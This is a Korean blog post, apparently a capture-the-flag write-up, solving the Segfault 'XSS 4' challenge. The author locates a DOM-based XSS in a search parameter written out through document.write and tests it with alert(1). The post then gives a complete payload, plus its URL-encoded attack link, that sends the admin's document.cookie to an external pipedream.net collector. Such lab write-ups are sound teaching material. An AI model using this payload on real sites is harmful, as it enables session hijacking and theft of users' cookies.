목표 : 관리자의 쿠키를 탈취하라!
일단 페이지로 들어와줍니다.
혹시나 마이페이지에 취약점이 있을지도 모르니 체크한번 해주겠습니다.
<마이페이지>
흠...역시나 user 라는 변수는 페이지에 출력되지 않는 변수인것 같네요..
그러면 다음으로 게시글 페이지로 이동해보겠습니다.
<게시글 페이지>
밑에 보시면 james 라고 입력할시 화면에 'james 에 대한 검색결과가 없습니다' 라고 출력이 됩니다.
화면에 직접적으로 출력이 되니 XSS 를 위해 살펴볼 가치가 있습니다.
검색창 입력값 : james |
결과 |
Burp Suite 를 이용해 이 게시글 페이지의 코드를 살펴보겠습니다.
<Burp Suite - 게시글 페이지>
일단 저희가 보내는 변수가 GET 방식으로 들어가고 있는것을 확인했습니다.
표시된 1번부분을 보면 분명 화면에 james 라고 출력되고 있는데 코드상으로는 james 가 없습니다..
2번부분을 보니깐 james라는 입력값을 keyword라는 변수에 넣어준후 document.write 를 통해 출력하고 있습니다.
.
.
.
그러면 keyword 부분에 저희가 입력한 값이 document.write(keyword) 부분의 keyword 값에 들어가서 출력이 되고있다는 뜻이니깐 ... DOM Based XSS 를 이용해볼수 있을것 같습니다.
<script>
var keyword = (new URLSearchParams(window.location.search)).get('board_result');
if(keyword){
document.getElementById('search_addr').value = keyword;
document.write(keyword+'에 대한 검색 결과가 없습니다.');
}
</script>
<james 를 화면에 출력해준 스크립트 코드>
입력값 : </script><script>alert(1)</script> // | POC코드(alert(1)) 정상작동 |
<예상되는 자바스크립트 코드>
<script>
var keyword = (new URLSearchParams(window.location.search)).get('board_result');
if(keyword){
document.getElementById('search_addr').value = keyword;
document.write(</script><script>alert(1)</script> //+'에 대한 검색 결과가 없습니다.');
}
</script>
document.write 에 의해 문서에 글이 써질텐데 그 글에서 </script>로 전에있던 스크립트를 무력화 시키고 새로운 스크립트를 추가해줌으로써 우리가 원하는 poc 코드를 동작시킬수 있게 되었다.
이제 POC 코드 부분에 쿠키탈취 코드를 삽입해주자.
<쿠키탈취>
입력값 | </script><script>var data =document.cookie; var i=new Image(); i.src='https://encxlimxsq6z.x.pipedream.net?cookie='+data;</script> // |
페이지주소 | http://ctf.segfaulthub.com:4343/xss_4/notice_list.php?option_val=username&board_result=%3C%2Fscript%3E%3Cscript%3Evar+data+%3Ddocument.cookie%3B+var+i%3Dnew+Image%28%29%3B+i.src%3D%27https%3A%2F%2Fencxlimxsq6z.x.pipedream.net%3Fcookie%3D%27%2Bdata%3B%3C%2Fscript%3E+%2F%2F&board_search=%F0%9F%94%8D&date_from=&date_to= |
무사히 쿠키가 탈취된것을 볼 수 있다.
<관리자 쿠키 탈취>
무사히 관리자 쿠키(FLAG) 를 탈취할 수 있었습니다!
긴 글 읽어주셔서 감사합니다!
'워게임 문제풀이 > Segfault' 카테고리의 다른 글
<Segfault> 워게임 문제풀이 [CSRF-Get admin 1] (0) | 2024.07.06 |
---|---|
<Segfault> 워게임 문제풀이 [Steal Info] (0) | 2024.07.02 |
<Segfault> 워게임 문제풀이 [XSS 5](feat.자기반성) (0) | 2024.07.01 |
<Segfault> 워게임 문제풀이 [XSS 4] (0) | 2024.07.01 |
<Segfault> 워게임 문제풀이 [XSS 3] (0) | 2024.07.01 |